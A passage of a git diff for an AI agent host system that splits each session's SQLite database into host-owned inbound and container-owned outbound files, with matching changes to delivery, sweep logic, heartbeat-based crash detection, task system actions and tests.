status_changed = datetime('now') WHERE id = ? AND kind = 'task' AND status = 'paused'") - .run(taskId); - - if (result.changes === 0) return err(`Task not found or not paused: ${taskId}`); + writeMessageOut({ + id: `sys-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`, + kind: 'system', + content: JSON.stringify({ action: 'resume_task', taskId }), + }); log(`resume_task: ${taskId}`); - return ok(`Task resumed: ${taskId}`); + return ok(`Task resume requested: ${taskId}`); }, }; diff --git a/container/agent-runner/src/poll-loop.test.ts b/container/agent-runner/src/poll-loop.test.ts index 03fc0c7..718be53 100644 --- a/container/agent-runner/src/poll-loop.test.ts +++ b/container/agent-runner/src/poll-loop.test.ts @@ -1,6 +1,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; -import { initTestSessionDb, closeSessionDb, getSessionDb } from './db/connection.js'; +import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; import { getPendingMessages, markCompleted } from './db/messages-in.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { formatMessages, extractRouting } from './formatter.js'; @@ -15,7 +15,7 @@ afterEach(() => { }); function insertMessage(id: string, kind: string, content: object, opts?: { processAfter?: string }) { - getSessionDb() + getInboundDb() .prepare( `INSERT INTO messages_in (id, kind, timestamp, status, process_after, content) VALUES (?, ?, datetime('now'), 'pending', ?, ?)`, @@ -86,7 +86,7 @@ describe('formatter', () => { describe('routing', () => { it('should extract routing from messages', () => { - getSessionDb() + getInboundDb() .prepare( `INSERT INTO messages_in (id, kind, timestamp, status, platform_id, channel_type, thread_id, content) VALUES ('m1', 'chat', datetime('now'), 'pending', 'chan-123', 'discord', 'thread-456', '{"text":"hi"}')`, @@ -113,7 +113,6 @@ describe('mock provider', () => { }); const events: Array<{ type: string }> = []; - // End the stream after initial response setTimeout(() => query.end(), 50); for await (const event of query.events) { @@ -138,7 +137,6 @@ describe('mock provider', () => { const events: Array<{ type: string; text?: string }> = []; - // Push a follow-up after a short delay, then end setTimeout(() => query.push('Second'), 30); setTimeout(() => query.end(), 60); @@ -155,7 +153,7 @@ describe('mock provider', () => { describe('end-to-end with mock provider', () => { it('should read messages_in, process with mock provider, write messages_out', async () => { - // Insert a chat message + // Insert a chat message into inbound DB insertMessage('m1', 'chat', { sender: 'User', text: 'What is 2+2?' }); // Read and process @@ -198,11 +196,11 @@ describe('end-to-end with mock provider', () => { markCompleted(['m1']); - // Verify: message was processed + // Verify: message was processed (not pending, acked in processing_ack) const processed = getPendingMessages(); expect(processed).toHaveLength(0); - // Verify: response was written + // Verify: response was written to outbound DB const outMessages = getUndeliveredMessages(); expect(outMessages).toHaveLength(1); expect(JSON.parse(outMessages[0].content).text).toBe('The answer is 4'); diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 21fc8e1..149083e 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -1,5 +1,6 @@ -import { getPendingMessages, markProcessing, markCompleted, touchProcessing, type MessageInRow } from './db/messages-in.js'; +import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; +import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; import { formatMessages, extractRouting, categorizeMessage, type RoutingContext } from './formatter.js'; import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; @@ -38,6 +39,10 @@ export async function runPollLoop(config: PollLoopConfig): Promise { let sessionId: string | undefined; let resumeAt: string | undefined; + // Clear leftover 'processing' acks from a previous crashed container. + // This lets the new container re-process those messages. + clearStaleProcessingAcks(); + let pollCount = 0; while (true) { // Skip system messages — they're responses for MCP tools (e.g., ask_user_question) @@ -260,7 +265,7 @@ async function processQuery(query: AgentQuery, routing: RoutingContext, config: for await (const event of query.events) { lastEventTime = Date.now(); handleEvent(event, routing); - touchProcessing(processingIds); + touchHeartbeat(); if (event.type === 'init') { querySessionId = event.sessionId; diff --git a/container/agent-runner/tsconfig.json b/container/agent-runner/tsconfig.json index d71b5ff..008fdc9 100644 --- a/container/agent-runner/tsconfig.json +++ b/container/agent-runner/tsconfig.json @@ -11,5 +11,5 @@ "declaration": true }, "include": ["src/**/*"], - "exclude": ["node_modules", "dist", "src/**/*.test.ts"] + "exclude": ["node_modules", "dist", "src/**/*.test.ts", "src/v1/**/*"] } diff --git a/scripts/test-v2-host.ts b/scripts/test-v2-host.ts index d047d5f..9ebe297 100644 --- a/scripts/test-v2-host.ts +++ b/scripts/test-v2-host.ts @@ -2,9 +2,9 @@ * Real end-to-end test of v2: host router → Docker container → agent-runner → delivery. * * 1. Init central DB with agent group + messaging group + wiring - * 2. Route an inbound message (creates session, writes messages_in, spawns container) - * 3. Container runs v2 agent-runner, polls session DB, queries Claude - * 4. Poll session DB for messages_out response + * 2. Route an inbound message (creates session, writes inbound.db, spawns container) + * 3. Container runs v2 agent-runner, polls inbound.db, queries Claude, writes outbound.db + * 4. Poll outbound.db for messages_out response * * Usage: npx tsx scripts/test-v2-host.ts */ @@ -71,7 +71,7 @@ console.log('\n=== Step 2: Route inbound message ==='); import { routeInbound } from '../src/router.js'; import { findSession } from '../src/db/sessions.js'; -import { sessionDbPath } from '../src/session-manager.js'; +import { inboundDbPath, outboundDbPath } from '../src/session-manager.js'; await routeInbound({ channelType: 'test', @@ -96,8 +96,10 @@ if (!session) { console.log(`✓ Session: ${session.id}`); console.log(`✓ Container status: ${session.container_status}`); -const sessDbPath = sessionDbPath('ag-e2e', session.id); -console.log(`✓ Session DB: ${sessDbPath}`); +const inDbPath = inboundDbPath('ag-e2e', session.id); +const outDbPath = outboundDbPath('ag-e2e', session.id); +console.log(`✓ Inbound DB: ${inDbPath}`); +console.log(`✓ Outbound DB: ${outDbPath}`); // --- Step 3: Wait for response --- console.log('\n=== Step 3: Waiting for Claude response... ==='); @@ -107,7 +109,7 @@ const TIMEOUT_MS = 120_000; const checkForResponse = (): boolean => { try { - const db = new Database(sessDbPath, { readonly: true }); + const db = new Database(outDbPath, { readonly: true }); const out = db.prepare('SELECT * FROM messages_out').all() as Array>; db.close(); return out.length > 0; @@ -147,22 +149,36 @@ process.exit(0); function printState() { try { - const db = new Database(sessDbPath, { readonly: true }); - const inRows = db.prepare('SELECT * FROM messages_in').all() as Array>; - const outRows = db.prepare('SELECT * FROM messages_out').all() as Array>; - db.close(); + const inDb = new Database(inDbPath, { readonly: true }); + const inRows = inDb.prepare('SELECT * FROM messages_in').all() as Array>; + inDb.close(); - console.log('\nmessages_in:'); + console.log('\nmessages_in (inbound.db):'); for (const r of inRows) { console.log(` [${r.id}] status=${r.status} kind=${r.kind}`); } - console.log('\nmessages_out:'); + } catch (err) { + console.log(` (could not read inbound DB: ${err})`); + } + + try { + const outDb = new Database(outDbPath, { readonly: true }); + const outRows = outDb.prepare('SELECT * FROM messages_out').all() as Array>; + const ackRows = outDb.prepare('SELECT * FROM processing_ack').all() as Array>; + outDb.close(); + + console.log('\nmessages_out (outbound.db):'); for (const r of outRows) { const content = JSON.parse(r.content as string); console.log(` [${r.id}] kind=${r.kind}`); console.log(` → ${content.text}`); } + + console.log('\nprocessing_ack (outbound.db):'); + for (const r of ackRows) { + console.log(` [${r.message_id}] status=${r.status} changed=${r.status_changed}`); + } } catch (err) { - console.log(` (could not read session DB: ${err})`); + console.log(` (could not read outbound DB: ${err})`); } } diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index d5d0fa0..2fc183b 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -162,7 +162,7 @@ describe('channel + router integration', () => { it('should route inbound message from adapter to session DB', async () => { const { routeInbound } = await import('../router.js'); const { findSession } = await import('../db/sessions.js'); - const { sessionDbPath } = await import('../session-manager.js'); + const { inboundDbPath } = await import('../session-manager.js'); // Simulate what the adapter bridge does: stringify content, call routeInbound const inboundContent = { sender: 'TestUser', senderId: 'u1', text: 'Hello from adapter', isFromMe: false }; @@ -183,7 +183,7 @@ describe('channel + router integration', () => { const session = findSession('mg-1', null); expect(session).toBeDefined(); - const dbPath = sessionDbPath('ag-1', session!.id); + const dbPath = inboundDbPath('ag-1', session!.id); const db = new Database(dbPath); const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; content: string }>; db.close(); diff --git a/src/container-runner.ts b/src/container-runner.ts index cdbfadc..c3dce4d 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -19,7 +19,6 @@ import { markContainerIdle, markContainerRunning, markContainerStopped, - sessionDbPath, sessionDir, } from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; @@ -135,7 +134,7 @@ function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { const sessDir = sessionDir(agentGroup.id, session.id); const groupDir = path.resolve(GROUPS_DIR, agentGroup.folder); - // Session folder at /workspace (contains session.db, outbox/, .claude/) + // Session folder at /workspace (contains inbound.db, outbound.db, outbox/, .claude/) mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); // Agent group folder at /workspace/agent @@ -226,7 +225,10 @@ async function buildContainerArgs( // Environment args.push('-e', `TZ=${TIMEZONE}`); args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); - args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); + // Two-DB split: container reads inbound.db, writes outbound.db + args.push('-e', 'SESSION_INBOUND_DB_PATH=/workspace/inbound.db'); + args.push('-e', 'SESSION_OUTBOUND_DB_PATH=/workspace/outbound.db'); + args.push('-e', 'SESSION_HEARTBEAT_PATH=/workspace/.heartbeat'); // Pass admin user ID and assistant name from messaging group/agent group if (session.messaging_group_id) { @@ -239,10 +241,22 @@ async function buildContainerArgs( args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); } - // OneCLI gateway - const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); - if (onecliApplied) { - log.debug('OneCLI gateway applied', { containerName }); + // OneCLI gateway — injects HTTPS_PROXY + certs so container API calls + // are routed through the agent vault for credential injection. + // Must ensureAgent first for non-admin groups, otherwise applyContainerConfig + // rejects the unknown agent identifier and returns false. + try { + if (agentIdentifier) { + await onecli.ensureAgent({ name: agentGroup.name, identifier: agentIdentifier }); + } + const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); + if (onecliApplied) { + log.info('OneCLI gateway applied', { containerName }); + } else { + log.warn('OneCLI gateway not applied — container will have no credentials', { containerName }); + } + } catch (err) { + log.warn('OneCLI gateway error — container will have no credentials', { containerName, err }); } // Host gateway diff --git a/src/db/schema.ts b/src/db/schema.ts index bf8ff19..b54210d 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -69,16 +69,21 @@ CREATE TABLE pending_questions ( `; /** - * Session DB schema — created fresh by the host for each session. + * Session DB schemas — split into two files so each has exactly one writer. + * This eliminates SQLite write contention across the host-container mount boundary. + * + * inbound.db — host writes, container reads (read-only mount or open read-only) + * outbound.db — container writes, host reads (read-only open) */ -export const SESSION_SCHEMA = ` + +/** Host-owned: inbound messages + delivery tracking. */ +export const INBOUND_SCHEMA = ` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, kind TEXT NOT NULL, timestamp TEXT NOT NULL, status TEXT DEFAULT 'pending', - status_changed TEXT, process_after TEXT, recurrence TEXT, tries INTEGER DEFAULT 0, @@ -88,12 +93,21 @@ CREATE TABLE messages_in ( content TEXT NOT NULL ); +-- Host tracks which messages_out IDs have been delivered. +-- Avoids writing to outbound.db (container-owned). +CREATE TABLE delivered ( + message_out_id TEXT PRIMARY KEY, + delivered_at TEXT NOT NULL +); +`; + +/** Container-owned: outbound messages + processing acknowledgments. */ +export const OUTBOUND_SCHEMA = ` CREATE TABLE messages_out ( id TEXT PRIMARY KEY, seq INTEGER UNIQUE, in_reply_to TEXT, timestamp TEXT NOT NULL, - delivered INTEGER DEFAULT 0, deliver_after TEXT, recurrence TEXT, kind TEXT NOT NULL, @@ -102,4 +116,13 @@ CREATE TABLE messages_out ( thread_id TEXT, content TEXT NOT NULL ); + +-- Container tracks processing status here instead of updating messages_in. +-- Host reads this to know which messages have been processed. +-- On container startup, stale 'processing' entries are cleared (crash recovery). +CREATE TABLE processing_ack ( + message_id TEXT PRIMARY KEY, + status TEXT NOT NULL, + status_changed TEXT NOT NULL +); `; diff --git a/src/delivery.ts b/src/delivery.ts index 4a020f8..d74df75 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -1,6 +1,11 @@ /** * Outbound message delivery. - * Polls active session DBs for undelivered messages_out, delivers through channel adapters. + * Polls session outbound DBs for undelivered messages, delivers through channel adapters. + * + * Two-DB architecture: + * - Reads messages_out from outbound.db (container-owned, opened read-only) + * - Tracks delivery in inbound.db's `delivered` table (host-owned) + * - Never writes to outbound.db — preserves single-writer-per-file invariant */ import Database from 'better-sqlite3'; import fs from 'fs'; @@ -9,7 +14,7 @@ import path from 'path'; import { getRunningSessions, getActiveSessions, createPendingQuestion } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; -import { openSessionDb, sessionDir } from './session-manager.js'; +import { openInboundDb, openOutboundDb, sessionDir, inboundDbPath } from './session-manager.js'; import { resetContainerIdleTimer } from './container-runner.js'; import type { OutboundFile } from './channels/adapter.js'; import type { Session } from './types.js'; @@ -85,19 +90,21 @@ async function deliverSessionMessages(session: Session): Promise { const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) return; - let db: Database.Database; + let outDb: Database.Database; + let inDb: Database.Database; try { - db = openSessionDb(agentGroup.id, session.id); + outDb = openOutboundDb(agentGroup.id, session.id); + inDb = openInboundDb(agentGroup.id, session.id); } catch { - return; // Session DB might not exist yet + return; // DBs might not exist yet } try { - const undelivered = db + // Read all due messages from outbound.db (read-only) + const allDue = outDb .prepare( `SELECT * FROM messages_out - WHERE delivered = 0 - AND (deliver_after IS NULL OR deliver_after <= datetime('now')) + WHERE (deliver_after IS NULL OR deliver_after <= datetime('now')) ORDER BY timestamp ASC`, ) .all() as Array<{ @@ -109,19 +116,32 @@ async function deliverSessionMessages(session: Session): Promise { content: string; }>; + if (allDue.length === 0) return; + + // Filter out already-delivered messages using inbound.db's delivered table + const deliveredIds = new Set( + (inDb.prepare('SELECT message_out_id FROM delivered').all() as Array<{ message_out_id: string }>).map( + (r) => r.message_out_id, + ), + ); + const undelivered = allDue.filter((m) => !deliveredIds.has(m.id)); if (undelivered.length === 0) return; for (const msg of undelivered) { try { - await deliverMessage(msg, session); - db.prepare('UPDATE messages_out SET delivered = 1 WHERE id = ?').run(msg.id); + await deliverMessage(msg, session, inDb); + // Track delivery in inbound.db (host-owned) — not outbound.db + inDb.prepare("INSERT OR IGNORE INTO delivered (message_out_id, delivered_at) VALUES (?, datetime('now'))").run( + msg.id, + ); resetContainerIdleTimer(session.id); } catch (err) { log.error('Failed to deliver message', { messageId: msg.id, sessionId: session.id, err }); } } } finally { - db.close(); + outDb.close(); + inDb.close(); } } @@ -135,6 +155,7 @@ async function deliverMessage( content: string; }, session: Session, + inDb: Database.Database, ): Promise { if (!deliveryAdapter) { log.warn('No delivery adapter configured, dropping message', { id: msg.id }); @@ -143,10 +164,9 @@ async function deliverMessage( const content = JSON.parse(msg.content); - // System actions — handle internally + // System actions — handle internally (schedule_task, cancel_task, etc.) if (msg.kind === 'system') { - log.info('System action from agent', { sessionId: session.id, action: content.action }); - // TODO: handle system actions (register_group, reset_session, etc.) + await handleSystemAction(content, session, inDb); return; } @@ -207,6 +227,84 @@ async function deliverMessage( } } +/** + * Handle system actions from the container agent. + * These are written to messages_out because the container can't write to inbound.db. + * The host applies them to inbound.db here. + */ +async function handleSystemAction( + content: Record, + session: Session, + inDb: Database.Database, +): Promise { + const action = content.action as string; + log.info('System action from agent', { sessionId: session.id, action }); + + switch (action) { + case 'schedule_task': { + const taskId = content.taskId as string; + const prompt = content.prompt as string; + const script = content.script as string | null; + const processAfter = content.processAfter as string; + const recurrence = (content.recurrence as string) || null; + + // Compute next even seq for host-owned inbound.db + const maxSeq = ( + inDb.prepare('SELECT COALESCE(MAX(seq), 0) AS m FROM messages_in').get() as { m: number } + ).m; + const nextSeq = maxSeq < 2 ? 2 : maxSeq + 2 - (maxSeq % 2); + + inDb + .prepare( + `INSERT INTO messages_in (id, seq, timestamp, status, tries, process_after, recurrence, kind, platform_id, channel_type, thread_id, content) + VALUES (@id, @seq, datetime('now'), 'pending', 0, @process_after, @recurrence, 'task', @platform_id, @channel_type, @thread_id, @content)`, + ) + .run({ + id: taskId, + seq: nextSeq, + process_after: processAfter, + recurrence, + platform_id: content.platformId ?? null, + channel_type: content.channelType ?? null, + thread_id: content.threadId ?? null, + content: JSON.stringify({ prompt, script }), + }); + log.info('Scheduled task created', { taskId, processAfter, recurrence }); + break; + } + + case 'cancel_task': { + const taskId = content.taskId as string; + inDb + .prepare("UPDATE messages_in SET status = 'completed' WHERE id = ? AND kind = 'task' AND status IN ('pending', 'paused')") + .run(taskId); + log.info('Task cancelled', { taskId }); + break; + } + + case 'pause_task': { + const taskId = content.taskId as string; + inDb + .prepare("UPDATE messages_in SET status = 'paused' WHERE id = ? AND kind = 'task' AND status = 'pending'") + .run(taskId); + log.info('Task paused', { taskId }); + break; + } + + case 'resume_task': { + const taskId = content.taskId as string; + inDb + .prepare("UPDATE messages_in SET status = 'pending' WHERE id = ? AND kind = 'task' AND status = 'paused'") + .run(taskId); + log.info('Task resumed', { taskId }); + break; + } + + default: + log.warn('Unknown system action', { action }); + } +} + export function stopDeliveryPolls(): void { activePolling = false; sweepPolling = false; diff --git a/src/host-core.test.ts b/src/host-core.test.ts index 03ddd98..9dc711e 100644 --- a/src/host-core.test.ts +++ b/src/host-core.test.ts @@ -21,7 +21,8 @@ import { writeSessionMessage, initSessionFolder, sessionDir, - sessionDbPath, + inboundDbPath, + outboundDbPath, sessionsBaseDir, } from './session-manager.js'; import { getSession, findSession } from './db/sessions.js'; @@ -84,22 +85,29 @@ describe('session manager', () => { }); }); - it('should create session folder and DB', () => { + it('should create session folder and both DBs', () => { initSessionFolder('ag-1', 'sess-test'); const dir = sessionDir('ag-1', 'sess-test'); expect(fs.existsSync(dir)).toBe(true); expect(fs.existsSync(path.join(dir, 'outbox'))).toBe(true); - const dbPath = sessionDbPath('ag-1', 'sess-test'); - expect(fs.existsSync(dbPath)).toBe(true); + // Verify inbound.db + const inPath = inboundDbPath('ag-1', 'sess-test'); + expect(fs.existsSync(inPath)).toBe(true); + const inDb = new Database(inPath); + const inTables = inDb.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; + expect(inTables.map((t) => t.name)).toContain('messages_in'); + expect(inTables.map((t) => t.name)).toContain('delivered'); + inDb.close(); - // Verify session DB has the right tables - const db = new Database(dbPath); - const tables = db.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; - const tableNames = tables.map((t) => t.name); - expect(tableNames).toContain('messages_in'); - expect(tableNames).toContain('messages_out'); - db.close(); + // Verify outbound.db + const outPath = outboundDbPath('ag-1', 'sess-test'); + expect(fs.existsSync(outPath)).toBe(true); + const outDb = new Database(outPath); + const outTables = outDb.prepare("SELECT name FROM sqlite_master WHERE type='table'").all() as Array<{ name: string }>; + expect(outTables.map((t) => t.name)).toContain('messages_out'); + expect(outTables.map((t) => t.name)).toContain('processing_ack'); + outDb.close(); }); it('should resolve to existing session (shared mode)', () => { @@ -124,7 +132,7 @@ describe('session manager', () => { expect(s2.id).toBe(s1.id); }); - it('should write message to session DB', () => { + it('should write message to inbound DB', () => { const { session } = resolveSession('ag-1', 'mg-1', null, 'shared'); writeSessionMessage('ag-1', session.id, { @@ -137,8 +145,8 @@ describe('session manager', () => { content: JSON.stringify({ sender: 'User', text: 'Hello' }), }); - // Read from the session DB - const dbPath = sessionDbPath('ag-1', session.id); + // Read from the inbound DB + const dbPath = inboundDbPath('ag-1', session.id); const db = new Database(dbPath); const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; @@ -223,8 +231,8 @@ describe('router', () => { const session = findSession('mg-1', null); expect(session).toBeDefined(); - // Verify message was written to session DB - const dbPath = sessionDbPath('ag-1', session!.id); + // Verify message was written to inbound DB + const dbPath = inboundDbPath('ag-1', session!.id); const db = new Database(dbPath); const rows = db.prepare('SELECT * FROM messages_in').all() as Array<{ id: string; content: string }>; db.close(); @@ -239,8 +247,6 @@ describe('router', () => { it('should auto-create messaging group for unknown platform', async () => { const { routeInbound } = await import('./router.js'); - // This platform ID isn't registered — but since there's no agent configured for it, - // it should create the messaging group but not route (no agents configured) const event: InboundEvent = { channelType: 'slack', platformId: 'C-NEW-CHANNEL', @@ -255,7 +261,6 @@ describe('router', () => { await routeInbound(event); - // Messaging group should be created const { getMessagingGroupByPlatform } = await import('./db/messaging-groups.js'); const mg = getMessagingGroupByPlatform('slack', 'C-NEW-CHANNEL'); expect(mg).toBeDefined(); @@ -285,7 +290,7 @@ describe('router', () => { // Both should be in the same session const session = findSession('mg-1', null); - const dbPath = sessionDbPath('ag-1', session!.id); + const dbPath = inboundDbPath('ag-1', session!.id); const db = new Database(dbPath); const rows = db.prepare('SELECT * FROM messages_in ORDER BY timestamp').all(); db.close(); @@ -295,7 +300,7 @@ describe('router', () => { }); describe('delivery', () => { - it('should detect undelivered messages in session DB', () => { + it('should detect undelivered messages in outbound DB', () => { createAgentGroup({ id: 'ag-1', name: 'Agent', @@ -317,16 +322,15 @@ describe('delivery', () => { const { session } = resolveSession('ag-1', 'mg-test', null, 'shared'); - // Write a response to the session DB (simulating what the agent-runner does) - const dbPath = sessionDbPath('ag-1', session.id); + // Write a response to the outbound DB (simulating what the agent-runner does) + const dbPath = outboundDbPath('ag-1', session.id); const db = new Database(dbPath); - db.pragma('journal_mode = WAL'); db.prepare( - `INSERT INTO messages_out (id, timestamp, delivered, kind, platform_id, channel_type, content) - VALUES ('out-1', datetime('now'), 0, 'chat', 'chan-123', 'discord', ?)`, + `INSERT INTO messages_out (id, timestamp, kind, platform_id, channel_type, content) + VALUES ('out-1', datetime('now'), 'chat', 'chan-123', 'discord', ?)`, ).run(JSON.stringify({ text: 'Agent response' })); - const undelivered = db.prepare('SELECT * FROM messages_out WHERE delivered = 0').all() as Array<{ + const undelivered = db.prepare('SELECT * FROM messages_out').all() as Array<{ id: string; content: string; }>; diff --git a/src/host-sweep.ts b/src/host-sweep.ts index 26a926f..5bd877e 100644 --- a/src/host-sweep.ts +++ b/src/host-sweep.ts @@ -1,10 +1,11 @@ /** * Host sweep — periodic maintenance of all session DBs. * - * - Wake containers for sessions with due messages (process_after) - * - Detect stale processing messages (container crash) → reset with backoff - * - Insert next occurrence for recurring messages - * - Kill idle containers past timeout + * Two-DB architecture: + * - Reads processing_ack from outbound.db to sync message status + * - Writes to inbound.db (host-owned) for status updates and recurrence + * - Uses heartbeat file mtime for stale container detection (not DB writes) + * - Never writes to outbound.db — preserves single-writer-per-file invariant */ import Database from 'better-sqlite3'; import fs from 'fs'; @@ -12,7 +13,7 @@ import fs from 'fs'; import { getActiveSessions, updateSession } from './db/sessions.js'; import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; -import { openSessionDb, sessionDbPath } from './session-manager.js'; +import { openInboundDb, openOutboundDb, inboundDbPath, outboundDbPath, heartbeatPath } from './session-manager.js'; import { wakeContainer, isContainerRunning } from './container-runner.js'; import type { Session } from './types.js'; @@ -52,21 +53,31 @@ async function sweepSession(session: Session): Promise { const agentGroup = getAgentGroup(session.agent_group_id); if (!agentGroup) return; - const dbPath = sessionDbPath(agentGroup.id, session.id); - if (!fs.existsSync(dbPath)) return; + const inPath = inboundDbPath(agentGroup.id, session.id); + if (!fs.existsSync(inPath)) return; - let db: Database.Database; + let inDb: Database.Database; + let outDb: Database.Database | null = null; try { - db = new Database(dbPath); - db.pragma('journal_mode = DELETE'); - db.pragma('busy_timeout = 5000'); + inDb = openInboundDb(agentGroup.id, session.id); } catch { return; } try { - // 1. Check for due pending messages → wake container - const dueMessages = db + outDb = openOutboundDb(agentGroup.id, session.id); + } catch { + // outbound.db might not exist yet (container hasn't started) + } + + try { + // 1. Sync processing_ack → messages_in status + if (outDb) { + syncProcessingAcks(inDb, outDb); + } + + // 2. Check for due pending messages → wake container + const dueMessages = inDb .prepare( `SELECT COUNT(*) as count FROM messages_in WHERE status = 'pending' @@ -79,90 +90,134 @@ async function sweepSession(session: Session): Promise { await wakeContainer(session); } - // 2. Detect stale processing messages - const staleMessages = db - .prepare( - `SELECT id, tries FROM messages_in - WHERE status = 'processing' - AND status_changed < datetime('now', '-${Math.floor(STALE_THRESHOLD_MS / 1000)} seconds')`, - ) - .all() as Array<{ id: string; tries: number }>; - - for (const msg of staleMessages) { - if (msg.tries >= MAX_TRIES) { - db.prepare("UPDATE messages_in SET status = 'failed', status_changed = datetime('now') WHERE id = ?").run( - msg.id, - ); - log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); - } else { - const backoffMs = BACKOFF_BASE_MS * Math.pow(2, msg.tries); - const backoffSec = Math.floor(backoffMs / 1000); - db.prepare( - `UPDATE messages_in SET status = 'pending', status_changed = datetime('now'), process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`, - ).run(msg.id); - log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); - } + // 3. Detect stale containers via heartbeat file + if (outDb) { + detectStaleContainers(inDb, outDb, session, agentGroup.id); } - // 3. Handle recurrence for completed messages - const completedRecurring = db - .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") - .all() as Array<{ - id: string; - kind: string; - content: string; - recurrence: string; - process_after: string | null; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - }>; - - for (const msg of completedRecurring) { - try { - // Dynamic import to avoid loading cron-parser at module level - const { CronExpressionParser } = await import('cron-parser'); - const interval = CronExpressionParser.parse(msg.recurrence); - const nextRun = interval.next().toISOString(); - const newId = `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - - // Compute next seq from both tables (same pattern as session-manager.ts) - const nextSeq = ( - db - .prepare( - `SELECT COALESCE(MAX(seq), 0) + 1 AS next FROM ( - SELECT seq FROM messages_in WHERE seq IS NOT NULL - UNION ALL - SELECT seq FROM messages_out WHERE seq IS NOT NULL - )`, - ) - .get() as { next: number } - ).next; - - db.prepare( - `INSERT INTO messages_in (id, seq, kind, timestamp, status, process_after, recurrence, platform_id, channel_type, thread_id, content) - VALUES (?, ?, ?, datetime('now'), 'pending', ?, ?, ?, ?, ?, ?)`, - ).run( - newId, - nextSeq, - msg.kind, - nextRun, - msg.recurrence, - msg.platform_id, - msg.channel_type, - msg.thread_id, - msg.content, - ); - - // Remove recurrence from the completed message so it doesn't spawn again - db.prepare('UPDATE messages_in SET recurrence = NULL WHERE id = ?').run(msg.id); - - log.info('Inserted next recurrence', { originalId: msg.id, newId, nextRun }); - } catch (err) { - log.error('Failed to compute next recurrence', { messageId: msg.id, recurrence: msg.recurrence, err }); - } - } + // 4. Handle recurrence for completed messages + handleRecurrence(inDb, session); } finally { - db.close(); + inDb.close(); + outDb?.close(); + } +} + +/** + * Sync completed/failed processing_ack entries → messages_in.status. + * Only syncs terminal states — 'processing' is handled by stale detection. + */ +function syncProcessingAcks(inDb: Database.Database, outDb: Database.Database): void { + const completed = outDb + .prepare("SELECT message_id FROM processing_ack WHERE status IN ('completed', 'failed')") + .all() as Array<{ message_id: string }>; + + if (completed.length === 0) return; + + // Batch-update messages_in status for completed/failed messages + const updateStmt = inDb.prepare( + "UPDATE messages_in SET status = 'completed' WHERE id = ? AND status != 'completed'", + ); + inDb.transaction(() => { + for (const { message_id } of completed) { + updateStmt.run(message_id); + } + })(); +} + +/** + * Detect stale containers using heartbeat file mtime. + * If the heartbeat is older than STALE_THRESHOLD and processing_ack has + * 'processing' entries, the container likely crashed — reset with backoff. + */ +function detectStaleContainers( + inDb: Database.Database, + outDb: Database.Database, + session: Session, + agentGroupId: string, +): void { + const hbPath = heartbeatPath(agentGroupId, session.id); + let heartbeatAge = Infinity; + try { + const stat = fs.statSync(hbPath); + heartbeatAge = Date.now() - stat.mtimeMs; + } catch { + // No heartbeat file — container may never have started, or it's very old + } + + if (heartbeatAge < STALE_THRESHOLD_MS) return; // Container is alive + + // Heartbeat is stale — check for stuck processing entries + const processing = outDb + .prepare("SELECT message_id FROM processing_ack WHERE status = 'processing'") + .all() as Array<{ message_id: string }>; + + if (processing.length === 0) return; + + for (const { message_id } of processing) { + const msg = inDb + .prepare('SELECT id, tries FROM messages_in WHERE id = ? AND status = ?') + .get(message_id, 'pending') as { id: string; tries: number } | undefined; + + if (!msg) continue; + + if (msg.tries >= MAX_TRIES) { + inDb.prepare("UPDATE messages_in SET status = 'failed' WHERE id = ?").run(msg.id); + log.warn('Message marked as failed after max retries', { messageId: msg.id, sessionId: session.id }); + } else { + const backoffMs = BACKOFF_BASE_MS * Math.pow(2, msg.tries); + const backoffSec = Math.floor(backoffMs / 1000); + inDb + .prepare( + `UPDATE messages_in SET tries = tries + 1, process_after = datetime('now', '+${backoffSec} seconds') WHERE id = ?`, + ) + .run(msg.id); + log.info('Reset stale message with backoff', { messageId: msg.id, tries: msg.tries, backoffMs }); + } + } +} + +/** Insert next occurrence for completed recurring messages. */ +async function handleRecurrence(inDb: Database.Database, session: Session): Promise { + const completedRecurring = inDb + .prepare("SELECT * FROM messages_in WHERE status = 'completed' AND recurrence IS NOT NULL") + .all() as Array<{ + id: string; + kind: string; + content: string; + recurrence: string; + process_after: string | null; + platform_id: 